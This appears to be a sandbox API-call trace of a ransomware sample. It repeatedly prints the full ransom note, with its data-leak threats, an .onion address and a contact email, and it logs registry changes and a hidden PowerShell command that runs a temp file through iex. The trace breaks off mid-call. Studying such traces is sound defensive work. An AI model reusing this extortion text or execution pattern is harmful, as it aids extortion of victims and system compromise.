\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09", lpSrch="%CLIENT_ID%") returned="%CLIENT_ID% \r\n\x09 \r\n\x09\x09\x09\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09" [0050.102] StrStrIA (lpFirst="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\nc7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e\r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09", lpSrch="%CLIENT_ID%") returned="%CLIENT_ID% \">http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09" [0050.102] StrStrIA (lpFirst="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\nc7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e\r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09", lpSrch="%CLIENT_ID%") returned="%CLIENT_ID%
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09" [0050.102] StrStrIA (lpFirst="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\nc7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e\r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=c7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09", lpSrch="%CLIENT_ID%") returned="%CLIENT_ID% \".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09" [0050.103] StrStrIA (lpFirst="\r\n\x09\x09\r\n\x09\r\n\x09\x09RECOVERY MANUAL\r\n\x09\r\n\x09\r\n\x09\x09

Your ClientId:

\r\n\x09\x09\r\n\x09\x09\x09
\r\n      \x09  \r\nc7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e\r\n\x09  \r\n\x09\x09\x09
\r\n\x09\x09\r\n\x09\x09
\r\n\x09\x09\r\n\x09\x09/!\\ YOUR NETWORK HAS BEEN HACKED /!\\
\r\n\x09\x09All your important files have been encrypted!
\r\n\x09\x09
\r\n\x09\r\nYour files are safe! Only encrypted.

\r\n\r\nANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE
\r\nWILL PERMANENTLY CORRUPT IT.
\r\nDO NOT MODIFY ENCRYPTED FILES.
\r\nDO NOT RENAME ENCRYPTED FILES.

\r\n\r\nNo software available on internet can help you. We are the only ones able to
\r\nsolve your problem.

\r\nYou can send us 2-3 files and we will decrypt it for free
\r\nto prove we are able to give your files back.

\r\n\r\nAlso we gathered highly confidential/personal data from your network. These data are currently stored on
\r\na private server. This server will be immediately destroyed after your payment.
\r\nIf you won't pay, we will release your data to public or reseller.
\r\nSo you can expect your data to be published or improperly used in the near future.
\r\nIn this case you will face all legal and reputational consequences of the leak.
\r\n\r\n\r\nWe only desire to get a ransom and we don't aim to damage your reputation or destroy
\r\nyour business.

\r\n\r\n\r\n
\r\n\x09\x09\r\n\x09\x09Contact us to discuss your next step.

\r\n\x09\x09http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=c7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e
\r\n* Note that this server is only available via Tor browser only

\r\nFollow the instructions to open the link:
\r\n 1. Type the addres \"https://www.torproject.org\" in your Internet browser. It opens the Tor site.
\r\n 2. Press \"Download Tor\", then press \"Download Tor Browser Bundle\", install and run it.
\r\n 3. Now you have Tor browser. In the Tor Browser open \"http://lhvqpdydwvtgy2ficsvamluobvonnitji5jgpfvc7c5pj6ci35gurjyd.onion/?cid=c7756a52c92cfb896c41800ac9bbe0c83bde845168db9d4a2880f215bbdd158e\".
\r\n 4. Start a chat and follow the further instructions. (Password field should be empty for the first login).

\r\n\x09\x09
\x09\x09\x09\r\n\r\n\x09\x09If you can`t use the above link, use the email:
\r\n\x09\x09MartinMacDonald1996@protonmail.com
\r\n\x09\x09\r\n\x09\x09Please note, sometimes our support is away from keyboard, but we will reply shortly.
\r\n \x09\x09Kindly advise you to contact us as soon as possible.

\r\n\x09\r\n\r\n\r\n\r\n\x09", lpSrch="%CLIENT_ID%") returned 0x0 [0050.103] wsprintfW (in: param_1=0x2ed65c, param_2=".ReadManual.%0.8X" | out: param_1=".ReadManual.5A595725") returned 20 [0050.103] wsprintfW (in: param_1=0x18f730, param_2="Software\\Classes\\.%0.8X\\shell\\Open\\command" | out: param_1="Software\\Classes\\.5A595725\\shell\\Open\\command") returned 45 [0050.103] lstrlenW (lpString="explorer.exe RecoveryManual.html") returned 32 [0050.103] SHRegSetUSValueW (in: pwzSubKey="Software\\Classes\\.5A595725\\shell\\Open\\command", pwzValue="", dwType=0x1, pvData="explorer.exe RecoveryManual.html", cbData=0x40, dwFlags=0x2 | out: pvData="explorer.exe RecoveryManual.html") returned 0x0 [0050.107] SetErrorMode (uMode=0x1) returned 0x8001 [0050.107] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x18f5c8 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0050.107] GetTickCount () returned 0x1147c61 [0050.107] wsprintfW (in: param_1=0x18f612, param_2="~%u.tmp" | out: param_1="~18119777.tmp") returned 13 [0050.107] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\~18119777.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0050.108] WriteFile (in: hFile=0x150, lpBuffer=0x2ec138*, nNumberOfBytesToWrite=0x13d1, lpNumberOfBytesWritten=0x18f3a0, lpOverlapped=0x0 | out: lpBuffer=0x2ec138*, lpNumberOfBytesWritten=0x18f3a0*=0x13d1, lpOverlapped=0x0) returned 1 [0050.109] CloseHandle (hObject=0x150) returned 1 [0050.110] GetCurrentProcessId () returned 0x440 [0050.110] wsprintfW (in: param_1=0x18f3c0, param_2="powershell.exe -windowstyle hidden -c $mypid='%u';[System.IO.File]::ReadAllText('%s')|iex" | out: param_1="powershell.exe -windowstyle hidden -c $mypid='1088';[System.IO.File]::ReadAllText('C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp')|iex") returned 139 [0050.110] CreatePipe (in: hReadPipe=0x18f390, hWritePipe=0x18f394, lpPipeAttributes=0x18f374, nSize=0x0 | out: hReadPipe=0x18f390*=0x14c, hWritePipe=0x18f394*=0x154) returned 1 [0050.111] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell.exe -windowstyle hidden -c $mypid='1088';[System.IO.File]::ReadAllText('C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp')|iex", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f330*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x154, hStdError=0x154), lpProcessInformation=0x18f380 | out: lpCommandLine="powershell.exe -windowstyle hidden -c $mypid='1088';[System.IO.File]::ReadAllText('C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\~18119777.tmp')|iex", lpProcessInformation=0x18f380*(hProcess=0x15c, hThread=0x158, dwProcessId=0x64, dwThreadId=0x360)) returned 1 [0050.125] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x1d4c0) returned 0x102 [0175.553] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x102c, lpBytesLeftThisMessage=0x0) returned 1 [0175.554] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xf73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xe73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xd73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xc73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xb73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.640] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0xa73, lpBytesLeftThisMessage=0x0) returned 1 [0175.640] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.641] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x973, lpBytesLeftThisMessage=0x0) returned 1 [0175.641] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.641] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x873, lpBytesLeftThisMessage=0x0) returned 1 [0175.641] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.641] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x773, lpBytesLeftThisMessage=0x0) returned 1 [0175.641] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.641] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x673, lpBytesLeftThisMessage=0x0) returned 1 [0175.641] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.641] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x573, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x473, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x373, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 1 [0175.642] PeekNamedPipe (in: hNamedPipe=0x14c, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f398*=0x273, lpBytesLeftThisMessage=0x0) returned 1 [0175.642] ReadFile (in: hFile=0x14c, lpBuffer=0x18f22c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18f398, lpOverlapped=0x0 | out: lpBuffer=0x18f22c*, lpNumberOfBytesRead=0x18f398*=0x100, lpOverlapped=0x0) returned 